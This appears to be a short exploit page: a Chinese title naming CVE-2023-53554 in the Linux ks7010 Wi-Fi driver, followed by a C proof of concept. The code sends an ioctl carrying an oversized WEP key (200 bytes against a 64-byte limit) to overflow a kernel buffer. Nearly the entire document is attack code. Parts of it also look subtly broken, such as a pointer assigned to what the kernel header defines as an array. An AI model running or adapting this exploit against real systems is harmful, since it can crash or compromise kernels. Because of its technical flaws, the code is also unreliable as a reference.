CVE-2023-53554 Linux内核ks7010驱动缓冲区溢出漏洞

/* CVE-2023-53554 - Linux kernel ks7010 buffer overflow PoC */ /* This PoC demonstrates the vulnerability in ks_wlan_set_encode_ext() */ /* Note: Requires ks7010 driver loaded and a compatible wireless device */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/wireless.h> #define IW_ENCODING_TOKEN_MAX 64 #define SIOCSIWENCODEEXT 0x8B2B int main(int argc, char *argv[]) { int sockfd; struct iwreq wrq; struct iw_encode_ext exc; char key_buffer[256]; /* Intentionally larger than IW_ENCODING_TOKEN_MAX */ /* Create a raw socket for ioctl operations */ sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket"); return 1; } /* Set the interface name (ks7010 device, e.g., wlan0) */ strncpy(wrq.ifr_name, "wlan0", IFNAMSIZ - 1); /* Fill the key buffer with crafted data */ memset(key_buffer, 'A', sizeof(key_buffer)); /* Configure the extended encoding parameters */ memset(&exc, 0, sizeof(exc)); exc.key_len = 200; /* Exceeds IW_ENCODING_TOKEN_MAX (64) - triggers overflow */ exc.key = key_buffer; exc.alg = IW_ENCODE_ALG_WEP; wrq.u.data.pointer = (caddr_t)&exc; wrq.u.data.length = sizeof(exc); wrq.u.data.flags = 0; /* Trigger the vulnerability via ioctl */ printf("[*] Sending malicious SIOCSIWENCODEEXT ioctl...\n"); if (ioctl(sockfd, SIOCSIWENCODEEXT, &wrq) < 0) { perror("ioctl"); printf("[-] ioctl failed (driver may not be loaded or already patched)\n"); close(sockfd); return 1; } printf("[+] ioctl sent successfully\n"); close(sockfd); return 0; }